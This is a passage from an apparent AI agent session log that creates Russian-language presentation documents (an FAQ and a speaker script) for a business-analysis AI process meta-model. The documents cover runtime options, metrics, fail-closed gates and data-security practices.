\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043d\u0435 \u043f\u0440\u043e\\n\u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\\n\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\\n\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\\n\\n### \u00ab\u0427\u0435\u043c \u044d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 LangGraph, n8n, Dify?\u00bb\\n\\n\u041c\u044b [\u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md).\\nDify, Flowise, Temporal \u0438 Camunda \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u044f\u0434\u0440\u043e. n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u0442\u043e\u043b\u044c\u043a\u043e\\n\u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0442\u044c, \u0443\u0437\u0435\u043b AI Agent\\n\u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d, \u0430 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0443 n8n \u0431\u044b\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\\nCVE-2026-21858 \u0441 CVSS 10.0. LangGraph \u043f\u043e\u0434 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0435\u0439 MIT \u2014 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435\\n\u043f\u043e\u0437\u0434\u043d\u0438\u0439 \u044d\u0442\u0430\u043f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b, \u043d\u043e \u043d\u0435 \u0441\u0435\u0439\u0447\u0430\u0441: \u043d\u0430\u0448 \u0433\u0440\u0430\u0444 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432 \u043f\u0440\u043e\u0449\u0435\\n\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0435.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 fail-closed \u0442\u043e\u0440\u043c\u043e\u0437\u043e\u043c \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n\u041e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u2014 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0430 \u043d\u0435 \u0430\u0432\u0430\u0440\u0438\u044f: \u0448\u0430\u0433 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0430\\n\u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u043e\u0441\u044c \u0432 \u0431\u044e\u0440\u043e\u043a\u0440\u0430\u0442\u0438\u044e, \u0432 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439\\n\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e: \u0435\u0441\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n\u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u041f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441\\n\u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u043e\u0439 `M-5`.\\n\\n### \u00ab\u041a\u0430\u043a \u0432\u044b \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e, \u0435\u0441\u043b\u0438 evals \u043d\u0435 \u0431\u044b\u043b\u043e?\u00bb\\n\\n\u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0441\u043d\u044f\u0442\u0430 \u0434\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f: `M-1 = 0.0` \u0438 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438. \u041c\u0435\u0442\u0440\u0438\u043a\u0438 `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u043e\u0440\u043e\u0433\\n\u0443\u0441\u043f\u0435\u0445\u0430 \u0441\u0440\u0435\u0437\u0430 \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 100% \u0438 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0439 \u0440\u043e\u0441\u0442 `M-1` \u043f\u0440\u0438\\n\u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u043e\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\\n\\n### \u00ab\u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432?\u00bb\\n\\n\u041c\u0435\u0442\u0440\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0430\u043c\u0438, \u2014 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u0438\u0432\u043d\u044b: \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u0440\u0430\u0437\u043d\u044b\u0435, \u0432\\n\u043e\u0434\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0442\u043e\u043a\u0435\u043d\u044b, \u043f\u043e\u0445\u043e\u0436\u0435, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0438\u0437 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443, \u0430 \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b: \u0432\u0445\u043e\u0434\u044b,\\n\u0432\u044b\u0445\u043e\u0434\u044b, \u0434\u0438\u0430\u043b\u043e\u0433\u0438 \u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u0413\u0434\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u044d\u0442\u043e \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n### \u00ab\u0427\u0442\u043e \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\\n\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\\n\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\\n\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0430 \u0433\u0435\u0439\u0442\u0435 \u0443\u0437\u043a\u0438\u043c \u043c\u0435\u0441\u0442\u043e\u043c?\u00bb\\n\\n\u0427\u0435\u043b\u043e\u0432\u0435\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u0430 \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442: \u0441\u043c\u044b\u0441\u043b, \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440,\\n\u043f\u0440\u0438\u0451\u043c\u043a\u0443. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 `M-3` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0430\u0432\u043e\u043a \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0432\u043d\u043e\u0441\u0438\u0442 \u043f\u043e\u0441\u043b\u0435\\n\u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430. \u0415\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u0437\u043d\u0430\u0447\u0438\u0442, \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e.\\n\\n### \u00ab\u0417\u0430\u0447\u0435\u043c \u0434\u0432\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, GigaCode CLI \u0438 Cline?\u00bb\\n\\n\u042d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u0432\u044b\u0431\u043e\u0440 \u0432\u043a\u0443\u0441\u0430. \u0412 GigaCode CLI \u043d\u0435\u0442 API Mango AI, \u0430\\nCline \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 Mango AI. Source \u043e\u0434\u0438\u043d, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u043f\u0430\u043a\u0435\u0442\u044b \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n\u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430\u043c\u0438. \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u0441\u043d\u0438\u043c\u0430\u0435\u0442 \u044d\u0442\u0443 \u0440\u0430\u0437\u0432\u0438\u043b\u043a\u0443: \u044f\u0434\u0440\u043e \u043e\u0434\u043d\u043e, \u043a\u043b\u0438\u0435\u043d\u0442 \u2014\\n\u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430.\\n\\n### \u00ab\u0427\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442?\u00bb\\n\\n\u0414\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; fail-closed \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445\\n\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u043b\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u0435; \u043e\u0434\u0438\u043d \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f\\n\u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0432 \u0434\u0432\u0443\u0445\\n\u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u2014 \u044d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 gate\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\u0421\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438:\\n\u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u043c\u0435\u0442\u043a\u0438 \u00ab\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u00bb, \u0430 \u043d\u0435 \u0435\u0451 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c.\\n\u042d\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u043e \u0444\u0430\u0439\u043b\u0443 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\\n\u0433\u0435\u0439\u0442\u043e\u043c.\\n\\n### \u00ab\u0421\u043a\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0438 \u043a\u043e\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0433\u043e\u0442\u043e\u0432\u043e?\u00bb\\n\\n\u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u0438 \u0442\u0440\u0443\u0434\u043e\u0437\u0430\u0442\u0440\u0430\u0442 \u043d\u0435\u0442, \u0438 \u043c\u044b \u0435\u0451 \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c. \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411. \u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0421\u0440\u0435\u0434\u044b 4 \u0431\u0443\u0434\u0435\u0442 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u0432\\nRFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b (B-218) \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0448\u0430\u0433 2 \u0434\u0430\u0441\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u043c\u0435\u0440\u0430.\\n\"\n[2026-09-29T07:53:48.040Z] [INFO]     }\n[2026-09-29T07:53:48.040Z] [INFO]   }\n[2026-09-29T07:53:48.040Z] [INFO] }\n[2026-09-29T07:53:48.097Z] [INFO] {\n[2026-09-29T07:53:48.097Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:53:48.097Z] [INFO]   \"message\": {\n[2026-09-29T07:53:48.097Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:53:48.097Z] [INFO]     \"content\": [\n[2026-09-29T07:53:48.097Z] [INFO]       {\n[2026-09-29T07:53:48.097Z] [INFO]         \"tool_use_id\": \"toolu_01GbDhvGR6SDE8EyvtinseYU\",\n[2026-09-29T07:53:48.097Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:53:48.097Z] [INFO]         \"content\": \"File created successfully at: /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md (file state is current in your context \u2014 no need to Read it back)\"\n[2026-09-29T07:53:48.097Z] [INFO]       }\n[2026-09-29T07:53:48.097Z] [INFO]     ]\n[2026-09-29T07:53:48.097Z] [INFO]   },\n[2026-09-29T07:53:48.097Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:53:48.097Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:53:48.097Z] [INFO]   \"uuid\": \"87ff2f0b-b96c-45fc-92cb-f27f516e1619\",\n[2026-09-29T07:53:48.097Z] [INFO]   \"timestamp\": \"2026-09-29T07:53:48.087Z\",\n[2026-09-29T07:53:48.097Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:53:48.097Z] [INFO]     \"type\": \"create\",\n[2026-09-29T07:53:48.097Z] [INFO]     \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:53:48.097Z] [INFO]     \"content\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.3\\ntype: presentation\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430\\n\\n\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043a\\n[\u0441\u043b\u0430\u0439\u0434\u0430\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0441\u043b\u0430\u0439\u0434\u043e\u0432. \u0422\u0435\u043a\u0441\u0442 \u0442\u0435\u0437\u0438\u0441\u043d\u044b\u0439: \u0435\u0433\u043e\\n\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0430 \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442.\\n\\n## \u0420\u0430\u043c\u043a\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f\\n\\n- **\u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f:** \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango. \u0415\u043c\u0443 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n  \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 LLM, \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 RAG. \u0415\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0435\u043c \u043f\u043e\u0434\u0445\u043e\u0434\\n  \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u00bb \u0438 \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- **\u0425\u0440\u043e\u043d\u043e\u043c\u0435\u0442\u0440\u0430\u0436:** \u043e\u043a\u043e\u043b\u043e 20 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0438 10\u201315 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n  \u041e\u0440\u0438\u0435\u043d\u0442\u0438\u0440 \u043f\u043e \u0441\u043b\u0430\u0439\u0434\u0430\u043c \u2014 \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u0435.\\n- **\u041e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043d\u0435\u0441\u0442\u0438 \u0441\u043b\u0443\u0448\u0430\u0442\u0435\u043b\u044c:** \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439\\n  \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 